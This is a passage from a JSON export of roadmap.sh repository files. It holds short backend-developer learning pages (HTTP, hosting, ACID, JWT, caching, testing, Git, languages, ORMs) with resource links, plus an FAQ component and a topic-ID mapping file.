    "content": "# Hosting\n\nHosting provides server space and resources for storing and delivering websites over the internet. Types include shared hosting, VPS, dedicated hosting, and cloud hosting with scalable resources. Services include infrastructure, domain registration, security, and technical support for reliable website availability.\n\nVisit the following resources to learn more:\n\n- [@article@What is the difference between Webpage, Website, Web server, and search engine?](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/Web_mechanics/Pages_sites_servers_and_search_engines)\n- [@article@What is a web server?](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/Web_mechanics/What_is_a_web_server)\n- [@video@What is Web Hosting and How Does It Work?](https://www.youtube.com/watch?v=H8oAvyqQwew)\n- [@video@Different Types of Web Hosting Explained](https://www.youtube.com/watch?v=AXVZYzw8geg)\n- [@video@Where to Host a Fullstack Project on a Budget](https://www.youtube.com/watch?v=Kx_1NYYJS7Q)"
  },
  {
    "path": "src/data/roadmaps/backend/content/what-is-http@R12sArWVpbIs_PHxBqVaR.md",
    "content": "# What is HTTP?\n\nHTTP (Hypertext Transfer Protocol) transmits hypertext over the web using request-response model. Defines message formatting and server-browser communication. Stateless protocol where each request is independent. Forms foundation of web communication, often used with HTTPS for encryption.\n\nVisit the following resources to learn more:\n\n- [@course@Full HTTP Networking Course](https://www.youtube.com/watch?v=2JYT5f2isg4)\n- [@article@What is HTTP?](https://www.cloudflare.com/en-gb/learning/ddos/glossary/hypertext-transfer-protocol-http/)\n- [@article@Overview of HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview)\n- [@article@HTTP/3 From A To Z: Core Concepts](https://www.smashingmagazine.com/2021/08/http3-core-concepts-part1/)\n- [@article@Every thing you need to know about HTTP](https://www3.ntu.edu.sg/home/ehchua/programming/webprogramming/HTTP_Basics.html)\n- [@video@HTTP/1 to HTTP/2 to HTTP/3](https://www.youtube.com/watch?v=a-sBfyiXysI)\n- [@video@SSL, TLS, HTTPS Explained](https://www.youtube.com/watch?v=j9QmMEWmcfo)"
  },
  {
    "path": "src/data/roadmaps/backend/faqs.astro",
    "content": "---\nimport type { FAQType } from '../../components/FAQs/FAQs.astro';\n\nexport const faqs: FAQType[] = [\n  {\n    question: 'How to become a Backend Developer?',\n    answer: [\n      \"If you are a complete beginner who is just getting started, you can start by learning a backend programming language such as Python, Ruby, Java, Go, etc. Once you have gained a basic-to-intermediate understanding of the language, learn about the package manager for that language and learn how to install and use external packages into your applications. Learn the basics of some relational database e.g. PostgreSQL and learn how to run simple CRUD operations. Optionally, you can pick up and learn a web framework for the language of your choice as well. Learn how to build a simple RESTful API and implement simple Authentication/Authorization into it. While you are learning all the items mentioned above, don't forget to learn about Git and GitHub as well.\",\n      'After following all the instructions above, you can start applying for the entry level backend developer jobs. Also, look at the backend developer roadmap above to get an idea about the landscape and see what else you are missing. A degree in computer science or related field is not always necessary but networking, building a portfolio and actively seeking internships, junior developer positions or consulting can help to start and advance a career as a backend developer.',\n      \"Note: remember to create a lot of [projects](https://roadmap.sh/backend/project-ideas) while you are learning to solidify your understanding of the concepts. Also, it's important to have the attitude of continuous learning to improve your [skills](https://roadmap.sh/backend/developer-skills) and be prepared for the fast-paced technology evolution in the industry.\",\n    ],\n  },\n  {\n    question: 'How long does it take to become a Backend Developer?',\n    answer: [\n      'The amount of time it takes to become a backend developer can vary depending on several factors, such as your learning pace, previous experience and the amount of time you are able to dedicate to learning.',\n      'If you have a background in computer science or a related field, and have experience with programming, you may be able to become a backend developer relatively quickly, potentially within a few months. However, if you are starting with little or no prior experience or education in computer science, it may take longer to develop the necessary skills and gain the experience needed to be a proficient backend developer. It could take anywhere from 6 months to 2 years.',\n    ],\n  },\n  {\n    question: 'What are the Backend Developer salaries?',\n    answer: [\n      'Backend developer salaries can vary depending on factors such as location, experience, and company size. According to data from Glassdoor, the average base salary for a backend developer in the United States is around $92,000 per year. However, this number can vary greatly depending on location, with the highest-paying cities such as San Francisco, Seattle and New York having an average salary of $120,000 to $135,000 per year.',\n      \"It's important to keep in mind that these are just averages, and salaries can vary greatly depending on factors such as experience level, specific skills, and the company you work for. With more experience and specific skills relevant to the job you are applying for you can expect to earn more.\",\n      'It is worth looking at a range of resources, including salary surveys, and job boards to get a general understanding of the current market in your location and experience level. Also try reaching out to other professionals in the field and getting an understanding of their own experience and salary ranges.',\n    ],\n  },\n  {\n    question: 'Should I learn everything listed on the Backend Roadmap?',\n    answer: [\n      \"This roadmap contains everything that you might encounter while working as a Backend Developer. You may not need everything listed on this roadmap to get into the industry; every job is different and most roles will require a subset of the items on the roadmap as part of their [job description](https://roadmap.sh/backend/job-description). However, knowing what you don't know is as important as knowing things, so you can use this roadmap to get an idea of what you are missing as well.\",\n      'If you are a beginner who is just getting started, don\\'t feel overwhelmed by looking at this roadmap. Look at the answer to the FAQ \"How to become a Backend Developer?\"',\n    ],\n  },\n  {\n      question: 'What tools does a backend developer use?',\n      answer: [\n          'Other than the language itself, some common [backend developer tools](https://roadmap.sh/backend/developer-tools) that you’ll use as a backend dev, are going to be: The IDE/Text editor; here you have tons of options from VSCode, to Zed or Sublime Text. Some database tools, such as DataGrid or Navicat interact with your databases from outside your code. API-related tools like Swagger or Postman will help you document their behavior and share the endpoints with your team. A hosting service for your code. And finally, some collaborative and productivity tools such as Jira, Wrike, Trello or Monday to help you organize your work with your colleagues. And others like Raycast or iTerm to boost your productivity. There are many alternatives in each category, it’s up to you to try them and pick the ones that work best for you.',\n\n      ]\n  },\n  {\n      question: 'What are backend frameworks?',\n      answer: [\n          '[Backend frameworks](https://roadmap.sh/backend/frameworks) are the frameworks that power the server-side of web applications. They are responsible for managing data, processing requests, and generating responses to the client-side of the application. Some of the most popular backend frameworks include Django for Python, Ruby on Rails for Ruby, Spring Boot for Java, and Gin for Go.',\n          'These frameworks work alongside databases like PostgreSQL, MySQL, and MongoDB, as well as tools like Docker, Kubernetes, and Jenkins. Backend frameworks, along with other server-side components, work together to create the functionality that users interact with on the client-side of web applications.'\n\n      ]\n  }\n];\n---\n"
  },
  {
    "path": "src/data/roadmaps/backend/migration-mapping.json",
    "content": "{\n  \"internet\": \"SiYUdtYMDImRPmV2_XPkH\",\n  \"internet:how-does-the-internet-work\": \"yCnn-NfSxIybUQ2iTuUGq\",\n  \"internet:what-is-http\": \"R12sArWVpbIs_PHxBqVaR\",\n  \"internet:browsers-and-how-they-work\": \"ZhSuu2VArnzPDp6dPQQSC\",\n  \"internet:dns-and-how-it-works\": \"aqMaEY8gkKMikiqleV5EP\",\n  \"internet:what-is-domain-name\": \"hkxw9jPGYphmjhTjw8766\",\n  \"internet:what-is-hosting\": \"P82WFaTPgQEPNp5IIuZ1Y\",\n  \"learn-a-language\": \"2f0ZO6GJElfZ2Eis28Hzg\",\n  \"learn-a-language:rust\": \"CWwh2abwqx4hAxpAGvhIx\",\n  \"learn-a-language:go\": \"BdXbcz4-ar3XOX0wIKzBp\",\n  \"learn-a-language:java\": \"ANeSwxJDJyQ-49pO2-CCI\",\n  \"learn-a-language:csharp\": \"rImbMHLLfJwjf3l25vBkc\",\n  \"learn-a-language:php\": \"l9Wrq_Ad9-Ju4NIB0m5Ha\",\n  \"learn-a-language:javascript\": \"8-lO-v6jCYYoklEJXULxN\",\n  \"learn-a-language:python\": \"J_sVHsD72Yzyqb9KCIvAY\",\n  \"learn-a-language:ruby\": \"SlH0Rl07yURDko2nDPfFy\",\n  \"version-control-systems\": \"ezdqQW9wTUw93F6kjOzku\",\n  \"version-control-systems:git\": \"_I1E__wCIVrhjMk6IMieE\",\n  \"repo-hosting-services\": \"NvUcSDWBhzJZ31nzT4UlE\",\n  \"repo-hosting-services:github\": \"ptD8EVqwFUYr4W5A_tABY\",\n  \"repo-hosting-services:bitbucket\": \"Ry_5Y-BK7HrkIc6X0JG1m\",\n  \"repo-hosting-services:gitlab\": \"Wcp-VDdFHipwa7hNAp1z_\",\n  \"relational-databases\": \"r45b461NxLN6wBODJ5CNP\",\n  \"relational-databases:postgresql\": \"FihTrMO56kj9jT8O_pO2T\",\n  \"relational-databases:mysql\": \"VPxOdjJtKAqmM5V0LR5OC\",\n  \"relational-databases:sqlite\": \"kdulE3Z_BdbtRmq6T2KmR\",\n  \"relational-databases:mariadb\": \"tD3i-8gBpMKCHB-ITyDiU\",\n  \"relational-databases:mssql\": \"dEsTje8kfHwWjCI3zcgLC\",\n  \"relational-databases:oracle\": \"h1SAjQltHtztSt8QmRgab\",\n  \"apis\": \"EwvLPSI6AlZ4TnNIJTZA4\",\n  \"apis:open-api-spec\": \"9cD5ag1L0GqHx4_zxc5JX\",\n  \"apis:hateoas\": \"dLY0KafPstajCcSbslC4M\",\n  \"caching\": \"ELj8af7Mi38kUbaPJfCUR\",\n  \"caching:client-side\": \"KWTbEVX_WxS8jmSaAX3Fe\",\n  \"caching:server-side\": \"z1-eP4sV75GBEIdM4NvL9\",\n  \"caching:cdn\": \"Nq2BO53bHJdFT1rGZPjYx\",\n  \"caching:server-side:memcached\": \"xPvVwGQw28uMeLYIWn8yn\",\n  \"caching:server-side:redis\": \"g8GjkJAhvnSxXTZks0V1g\",\n  \"apis:authentication\": \"PY9G7KQy8bF6eIdr1ydHf\",\n  \"apis:authentication:jwt\": \"UxS_mzVUjLigEwKrXnEeB\",\n  \"apis:authentication:basic-authentication\": \"yRiJgjjv2s1uV9vgo3n8m\",\n  \"apis:authentication:token-authentication\": \"0rGj7FThLJZouSQUhnqGW\",\n  \"apis:authentication:oauth\": \"vp-muizdICcmU0gN8zmkS\",\n  \"apis:authentication:cookie-based\": \"ffzsh8_5yRq85trFt9Xhk\",\n  \"apis:authentication:openid\": \"z3EJBpgGm0_Uj3ymhypbX\",\n  \"apis:authentication:saml\": \"UCHtaePVxS-0kpqlYxbfC\",\n  \"apis:rest\": \"lfNFDZZNdrB0lbEaMtU71\",\n  \"apis:json-apis\": \"sNceS4MpSIjRkWhNDmrFg\",\n  \"apis:soap\": \"sSNf93azjuyMzQqIHE0Rh\",\n  \"apis:grpc\": \"J-TOE2lT4At1mSdNoxPS1\",\n  \"apis:graphql\": \"zp3bq38tMnutT2N0tktOW\",\n  \"web-security-knowledge\": \"RBrIP5KbVQ2F0ly7kMfTo\",\n  \"web-security-knowledge:md5\": \"jWwA6yX4Zjx-r_KpDaD3c\",\n  \"web-security-knowledge:sha-family\": \"JVN38r5jENoteia3YeIQ3\",\n  \"web-security-knowledge:scrypt\": \"kGTALrvCpxyVCXHRmkI7s\",\n  \"web-security-knowledge:bcrypt\": \"dlG1bVkDmjI3PEGpkm1xH\",\n  \"testing\": \"STQQbPa7PE3gbjMdL6P-t\",\n  \"web-security-knowledge:https\": \"x-WBJjBd8u93ym5gtxGsR\",\n  \"web-security-knowledge:owasp\": \"AAgciyxuDvS2B_c6FRMvT\",\n  \"web-security-knowledge:cors\": \"LU6WUbkWKbPM1rb2_gEqa\",\n  \"web-security-knowledge:ssl-tls\": \"0v3OsaghJEGHeXX0c5kqn\",\n  \"web-security-knowledge:content-security-policy\": \"HgQBde1zLUFtlwB66PR6_\",\n  \"web-security-knowledge:server-security\": \"TZ0BWOENPv6pQm8qYB8Ow\",\n  \"ci-cd\": \"mGfD7HfuP184lFkXZzGjG\",\n  \"testing:integration-testing\": \"381Kw1IMRv7CJp-Uf--qd\",\n  \"testing:unit-testing\": \"3OYm6b9f6WOrKi4KTOZYK\",\n  \"testing:functional-testing\": \"NAGisfq2CgeK3SsuRjnMw\",\n  \"scaling-databases\": \"95d9itpUZ4s9roZN8kG9x\",\n  \"scaling-databases:cap-theorem\": \"LAdKDJ4LcMaDWqslMvE8X\",\n  \"scaling-databases:sharding-strategies\": \"zWstl08R4uzqve4BdYurp\",\n  \"scaling-databases:data-replication\": \"wrl7HHWXOaxoKVlNZxZ6d\",\n  \"scaling-databases:database-indexes\": \"y-xkHFE9YzhNIX3EiWspL\",\n  \"more-about-databases\": \"LJt27onEOeIBomiEMTyKd\",\n  \"more-about-databases:orms\": \"Z7jp_Juj5PffSxV7UZcBb\",\n  \"more-about-databases:acid\": \"qSAdfaGUfn8mtmDjHJi3z\",\n  \"more-about-databases:transactions\": \"rq_y_OBMD9AH_4aoecvAi\",\n  \"more-about-databases:n-plus-one-problem\": \"bQnOAu863hsHdyNMNyJop\",\n  \"more-about-databases:database-normalization\": \"Ge2SnKBrQQrU-oGLz6TmT\",\n  \"more-about-databases:failure-modes\": \"GwApfL4Yx-b5Y8dB9Vy__\",\n  \"more-about-databases:profiling-performance\": \"SYXJhanu0lFmGj2m2XXhS\",\n  \"architectural-patterns\": \"tHiUpG9LN35E5RaHddMv5\",\n  \"architectural-patterns:monolithic-apps\": \"Ke522R-4k6TDeiDRyZbbU\",\n  \"architectural-patterns:microservices\": \"K55h3aqOGe6-hgVhiFisT\",\n  \"architectural-patterns:soa\": \"tObmzWpjsJtK4GWhx6pwB\",\n  \"architectural-patterns:serverless\": \"nkmIv3dNwre4yrULMgTh3\",\n  \"architectural-patterns:service-mesh\": \"n14b7sfTOwsjKTpFC9EZ2\",\n  \"architectural-patterns:twelve-factor-apps\": \"8DmabQJXlrT__COZrDVTV\",\n  \"design-and-development-principles\": \"9Fpoor-Os_9lvrwu5Zjh-\",\n  \"design-and-development-principles:gof-design-patterns\": \"6XIWO0MoE-ySl4qh_ihXa\",\n  \"design-and-development-principles:domain-driven-design\": \"BvHi5obg0L1JDZFKBzx9t\",\n  \"design-and-development-principles:test-driven-development\": \"I-PUAE2AzbEaUkW9vMaUM\",\n  \"design-and-development-principles:cqrs\": \"u8IRw5PuXGUcmxA0YYXgx\",\n  \"design-and-development-principles:event-sourcing\": \"wqE-mkxvehOzOv8UyE39p\",\n  \"message-brokers\": \"nJ5FpFgGCRaALcWmAKBKT\",\n  \"message-brokers:rabbitmq\": \"GPFRMcY1DEtRgnaZwJ3vW\",\n  \"message-brokers:kafka\": \"VoYSis1F1ZfTxMlQlXQKB\",\n  \"containerization\": \"SGVwJme-jT_pbOTvems0v\",\n  \"containerization:lxc\": \"31ZlpfIPr9-5vYZqvjUeL\",\n  \"search-engines:elasticsearch\": \"NulaE1isWqn-feYHg4YQT\",\n  \"search-engines:solr\": \"iN_1EuIwCx_7lRBw1Io4U\",\n  \"web-servers\": \"fekyMpEnaGqjh1Cu4Nyc4\",\n  \"web-servers:nginx\": \"z5AdThp9ByulmM9uekgm-\",\n  \"web-servers:apache\": \"jjjonHTHHo-NiAf6p9xPv\",\n  \"web-servers:caddy\": \"Op-PSPNoyj6Ss9CS09AXh\",\n  \"web-servers:ms-iis\": \"0NJDgfe6eMa7qPUOI6Eya\",\n  \"nosql-databases\": \"F8frGuv1dunOdcVJ_IiGs\",\n  \"real-time-data\": \"5XGvep2qoti31bsyqNzrU\",\n  \"server-sent-events\": \"RUSdlokJUcEYbCvq5FJBJ\",\n  \"web-sockets\": \"sVuIdAe08IWJVqAt4z-ag\",\n  \"long-polling\": \"osvajAJlwGI3XnX0fE-kA\",\n  \"short-polling\": \"Tt7yr-ChHncJG0Ge1f0Xk\",\n  \"nosql-databases:document-databases\": \"28U6q_X-NTYf7OSKHjoWH\",\n  \"nosql-databases:timeseries-databases\": \"XbM4TDImSH-56NsITjyHK\",\n  \"nosql-databases:realtime-databases\": \"RyJFLLGieJ8Xjt-DlIayM\",\n  \"nosql-databases:column-databases\": \"gT6-z2vhdIQDzmR2K1g1U\",\n  \"nosql-databases:key-value-databases\": \"M0iaSSdVPWaCUpyTG50Vf\",\n  \"graph-databases\": \"BTNJfWemFKEeNeTyENXui\",\n  \"scalability\": \"SHmbcMRsc3SygEDksJQBD\",\n  \"scalability:mitigation-strategies:graceful-degradation\": \"G9AI_i3MkUE1BsO3_-PH7\",\n  \"scalability:mitigation-strategies:throttling\": \"qAu-Y4KI2Z_y-EqiG86cR\",\n  \"scalability:mitigation-strategies:backpressure\": \"JansCqGDyXecQkD1K7E7e\",\n  \"scalability:mitigation-strategies:loadshifting\": \"HoQdX7a4SnkFRU4RPQ-D5\",\n  \"scalability:mitigation-strategies:circuit-breaker\": \"spkiQTPvXY4qrhhVUkoPV\",\n  \"scalability:horizontal-vertical-scaling\": \"osQlGGy38xMcKLtgZtWaZ\",\n  \"scalability:migration-strategies\": \"f7iWBkC0X7yyCoP_YubVd\",\n  \"scalability:instrumentation-monitoring-telemetry\": \"4X-sbqpP0NDhM99bKdqIa\",\n  \"scalability:observability\": \"Z01E67D6KjrShvQCHjGR7\"\n}"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/acid@qSAdfaGUfn8mtmDjHJi3z.md",
    "content": "# ACID\n\nACID represents four database transaction properties: Atomicity (all-or-nothing execution), Consistency (valid state maintenance), Isolation (concurrent transaction separation), and Durability (permanent commit survival). These principles ensure reliable data processing and integrity in database systems, crucial for financial and e-commerce applications.\n\nVisit the following resources to learn more:\n\n- [@article@What is ACID Compliant Database?](https://retool.com/blog/whats-an-acid-compliant-database/)\n- [@article@What is ACID Compliance?: Atomicity, Consistency, Isolation](https://fauna.com/blog/what-is-acid-compliance-atomicity-consistency-isolation)\n- [@article@A Beginner's Guide to ACID and Database Transactions](https://vladmihalcea.com/a-beginners-guide-to-acid-and-database-transactions/)\n- [@video@ACID Explained: Atomic, Consistent, Isolated & Durable](https://www.youtube.com/watch?v=yaQ5YMWkxq4)\n- [@video@ACID Transactions (Explained by Example)](https://www.youtube.com/watch?v=pomxJOFVcQs)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/authentication@PY9G7KQy8bF6eIdr1ydHf.md",
    "content": "# Authentication\n\nAPI authentication verifies client identity to ensure only authorized access to resources. Common methods include API keys, OAuth 2.0, JWT, and basic auth. It protects data, prevents unauthorized access, enables usage tracking, and provides granular control over API resources.\n\nVisit the following resources to learn more:\n\n- [@article@Basic Authentication](https://roadmap.sh/guides/basic-authentication)\n- [@article@Session Based Authentication](https://roadmap.sh/guides/session-based-authentication)\n- [@article@Token Based Authentication](https://roadmap.sh/guides/token-authentication)\n- [@article@JWT Authentication](https://roadmap.sh/guides/jwt-authentication)\n- [@article@OAuth - Open Authorization](https://roadmap.sh/guides/oauth)\n- [@article@SSO - Single Sign On](https://roadmap.sh/guides/sso)\n- [@feed@Explore top posts about Authentication](https://app.daily.dev/tags/authentication?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/caching@ELj8af7Mi38kUbaPJfCUR.md",
    "content": "# Caching\n\nCaching stores frequently accessed data in faster locations to improve performance by reducing latency and server load. It operates at the browser, application, and database levels using strategies like LRU and time-based expiration. Balances speed gains with data consistency challenges.\n\nVisit the following resources to learn more:\n\n- [@article@What is Caching - AWS](https://aws.amazon.com/caching/)\n- [@article@Caching - Cloudflare](https://www.cloudflare.com/learning/cdn/what-is-caching/)\n- [@article@Caching Strategies and How to Choose the Right One](https://codeahoy.com/2017/08/11/caching-strategies-and-how-to-choose-the-right-one/)\n- [@article@Top Caching Strategies Explained](https://blog.bytebytego.com/p/top-caching-strategies)\n- [@video@Cache Systems Every Developer Should Know](https://www.youtube.com/watch?v=dGAgxozNWFE)\n- [@video@Caching Complete Tutorial for Beginners](https://www.youtube.com/watch?v=1XJG34mewts)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/functional-testing@NAGisfq2CgeK3SsuRjnMw.md",
    "content": "# Functional Testing\n\nFunctional testing ensures software meets functional requirements through black box testing. Testers provide input and compare expected vs actual output without understanding the source code. Contrasts with non-functional testing (performance, load, scalability).\n\nVisit the following resources to learn more:\n\n- [@article@What is Functional Testing?](https://www.guru99.com/functional-testing.html)\n- [@article@Functional Testing: What It Is and How to Do It Right](https://www.atlassian.com/continuous-delivery/software-testing/functional-testing)\n- [@video@unctional Testing vs Non-Functional Testing](https://www.youtube.com/watch?v=NgQT7miTP9M)\n- [@video@Functional Testing vs Non-Functional Testing]](https://www.youtube.com/watch?v=NgQT7miTP9M)\n- [@video@Software Testing Tutorial for Beginners](https://www.youtube.com/watch?v=u6QfIXgjwGQ)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/git@_I1E__wCIVrhjMk6IMieE.md",
    "content": "# Git\n\nGit is a distributed version control system used to track changes in source code during software development. It enables multiple developers to collaborate on a project by managing versions of code, allowing for branching, merging, and tracking of revisions. Git ensures that changes are recorded with a complete history, enabling rollback to previous versions if necessary. It supports distributed workflows, meaning each developer has a complete local copy of the project’s history, facilitating seamless collaboration, conflict resolution, and efficient management of code across different teams or environments.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@article@Learn Git with Tutorials, News and Tips - Atlassian](https://www.atlassian.com/git)\n- [@article@Getting Started with Git and GitHub: A Complete Tutorial for Beginner](https://towardsdatascience.com/learn-basic-git-commands-for-your-data-science-works-2a75396d530d/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@article@Git Cheat Sheet](https://cs.fyi/guide/git-cheatsheet)\n- [@feed@Git & GitHub Crash Course For Beginners](https://www.youtube.com/watch?v=SWYqp7iY_Tc)\n- [@feed@Explore top posts about Git](https://app.daily.dev/tags/git?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/github@ptD8EVqwFUYr4W5A_tABY.md",
    "content": "# GitHub\n\nGitHub is a web-based platform built on top of Git that provides version control, collaboration tools, and project management features for software development. It enables developers to host Git repositories, collaborate on code through pull requests, and review and track changes. GitHub also offers additional features like issue tracking, continuous integration, automated workflows, and documentation hosting. With its social coding environment, GitHub fosters open-source contributions and team collaboration, making it a central hub for many software development projects.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@GitHub](https://github.com)\n- [@official@GitHub Docs](https://docs.github.com/en/get-started/quickstart)\n- [@article@Comprehensive Guide to GitHub for Data Scientists](https://towardsdatascience.com/comprehensive-guide-to-github-for-data-scientist-d3f71bd320da/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@What is GitHub?](https://www.youtube.com/watch?v=w3jLJU7DT5E)\n- [@feed@Explore top posts about GitHub](https://app.daily.dev/tags/github?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/go@BdXbcz4-ar3XOX0wIKzBp.md",
    "content": "# Go\n\nGo (Golang) is Google's statically typed, compiled language combining efficiency with ease of use. Features built-in concurrency via goroutines and channels, simple syntax, fast compilation, and a comprehensive standard library. Popular for microservices, web servers, and cloud-native development.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Go Roadmap](https://roadmap.sh/golang)\n- [@official@Go Reference Documentation](https://go.dev/doc/)\n- [@article@Go by Example - annotated example programs](https://gobyexample.com/)\n- [@article@Go, the Programming Language of the Cloud](https://thenewstack.io/go-the-programming-language-of-the-cloud/)\n- [@video@Go Programming – Golang Course with Bonus Projects](https://www.youtube.com/watch?v=un6ZyFkqFKo)\n- [@feed@Explore top posts about Golang](https://app.daily.dev/tags/golang?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/index.md",
    "content": "\n"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/integration-testing@381Kw1IMRv7CJp-Uf--qd.md",
    "content": "# Integration Testing\n\nIntegration testing verifies interactions between software components to ensure they work together correctly. Tests module communication via APIs, databases, and third-party services. Catches integration issues like data mismatches and protocol errors that unit tests miss.\n\nVisit the following resources to learn more:\n\n- [@article@Integration Testing](https://www.guru99.com/integration-testing.html)\n- [@article@How to Integrate and Test Your Tech Stack](https://thenewstack.io/how-to-integrate-and-test-your-tech-stack/)\n- [@video@What is Integration Testing?](https://www.youtube.com/watch?v=kRD6PA6uxiY)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/javascript@8-lO-v6jCYYoklEJXULxN.md",
    "content": "# JavaScript\n\nJavaScript is a versatile, high-level language for web interactivity and dynamic features. Runs client-side in browsers and server-side with Node.js for full-stack development. Supports multiple programming styles with a rich ecosystem of frameworks like React, Angular, and Vue.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@book@JavaScript from Beginner to Professional](https://www.gurukultti.org/admin/notice/javascript.pdf)\n- [@article@The Modern JavaScript Tutorial](https://javascript.info/)\n- [@article@Build 30 Javascript projects in 30 days](https://javascript30.com/)\n- [@video@JavaScript Crash Course For Beginners](https://www.youtube.com/watch?v=hdI2bqOjy3c&t=4s)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/json-apis@sNceS4MpSIjRkWhNDmrFg.md",
    "content": "# JSON APIs\n\nJSON (JavaScript Object Notation) is an encoding scheme eliminating ad-hoc code for server communication. JSON API provides a standardized implementation for data stores and structures, including entity types, bundles, and fields with defined communication protocols.\n\nVisit the following resources to learn more:\n\n- [@official@JSON API](https://jsonapi.org/)\n- [@official@JSON API Recommendations and Best Practices](https://jsonapi.org/recommendations/)\n- [@article@JSON.org - Introducing JSON](https://www.json.org/json-en.html)\n- [@article@What is JSON API?](https://medium.com/@niranjan.cs/what-is-json-api-3b824fba2788)\n- [@video@JSON API: Explained in 4 minutes](https://www.youtube.com/watch?v=N-4prIh7t38)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/jwt@UxS_mzVUjLigEwKrXnEeB.md",
    "content": "# JWT\n\nJWT (JSON Web Token) securely transmits information as JSON objects with three parts: header (token type/algorithm), payload (claims/data), and signature (integrity verification). Used for authentication and authorization in web/mobile apps. Compact, self-contained, and HTTP header-friendly.\n\nVisit the following resources to learn more:\n\n- [@official@jwt.io Website](https://jwt.io/)\n- [@article@What is JWT?](https://www.akana.com/blog/what-is-jwt)\n- [@article@JWT Security Best Practices](https://curity.io/resources/learn/jwt-best-practices/)\n- [@video@What Is JWT and Why Should You Use JWT](https://www.youtube.com/watch?v=7Q17ubqLfaM)\n- [@feed@Explore top posts about JWT](https://app.daily.dev/tags/jwt?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/learn-about-apis@EwvLPSI6AlZ4TnNIJTZA4.md",
    "content": "# APIs\n\nAPI (Application Programming Interface) defines rules and protocols for software applications to communicate. Provides standardized access to functionalities without understanding internal workings. Includes endpoints, request methods (GET, POST, PUT), and data formats (JSON, XML).\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated API Design Roadmap](https://roadmap.sh/api-design)\n- [@roadmap@Visit the Dedicated API Security Best Practices](https://roadmap.sh/api-security-best-practices)\n- [@article@What is an API?](https://aws.amazon.com/what-is/api/)\n- [@video@What is an API (in 5 minutes)](https://www.youtube.com/watch?v=ByGJQzlzxQg)\n- [@feed@daily.dev API Feed](https://app.daily.dev/tags/rest-api)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/more-about-databases@LJt27onEOeIBomiEMTyKd.md",
    "content": "# Databases\n\nA database is a structured collection of useful data that serves as an organizational asset. A database management system (DBMS) is software designed to maintain and extract large data collections efficiently and timely.\n\nVisit the following resources to learn more:\n\n- [@article@Oracle: What is a Database?](https://www.oracle.com/database/what-is-database/)\n- [@article@Prisma.io: What are Databases?](https://www.prisma.io/dataguide/intro/what-are-databases)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/n1-problem@bQnOAu863hsHdyNMNyJop.md",
    "content": "# N plus one problem\n\nThe N+1 problem occurs when an application retrieves a list then performs additional queries for each item's related data. Results in inefficient query multiplication (1 + N queries instead of optimized joins). Severely impacts performance with larger datasets. Solved through query optimization, joins, or batching techniques.\n\nVisit the following resources to learn more:\n\n- [@article@In Detail Explanation of N+1 Problem](https://medium.com/doctolib/understanding-and-fixing-n-1-query-30623109fe89)\n- [@article@What is the N+1 Problem](https://planetscale.com/blog/what-is-n-1-query-problem-and-how-to-solve-it)\n- [@article@Solving N+1 Problem: For Java Backend Developers](https://dev.to/jackynote/solving-the-notorious-n1-problem-optimizing-database-queries-for-java-backend-developers-2o0p)\n- [@video@SQLite and the N+1 (no) problem](https://www.youtube.com/watch?v=qPfAQY_RahA)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/orms@Z7jp_Juj5PffSxV7UZcBb.md",
    "content": "# ORMs\n\nORM (Object-Relational Mapping) allows developers to interact with databases using object-oriented concepts. Maps database tables to classes and rows to objects, eliminating raw SQL queries. Simplifies data manipulation and improves maintainability. Popular ORMs: Hibernate (Java), Entity Framework (.NET), SQLAlchemy (Python).\n\nVisit the following resources to learn more:\n\n- [@article@What is an ORM, how does it work, and how should I use one?](https://stackoverflow.com/a/1279678)\n- [@article@What is an ORM](https://www.freecodecamp.org/news/what-is-an-orm-the-meaning-of-object-relational-mapping-database-tools/)\n- [@video@Why Use an ORM?](https://www.youtube.com/watch?v=vHt2LC1EM3Q)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/pick-a-language@2f0ZO6GJElfZ2Eis28Hzg.md",
    "content": "# Learn a Language\n\nWeb development divides into Frontend (HTML, CSS, JavaScript) and Backend Development. Backend uses server-side languages like Python, Java, or Node.js, complemented by databases, frameworks, and web servers for website functionality. Choose a language based on project needs and preferences."
  },
  {
    "path": "src/data/roadmaps/backend-beginner/content/postgresql@FihTrMO56kj9jT8O_pO2T.md",
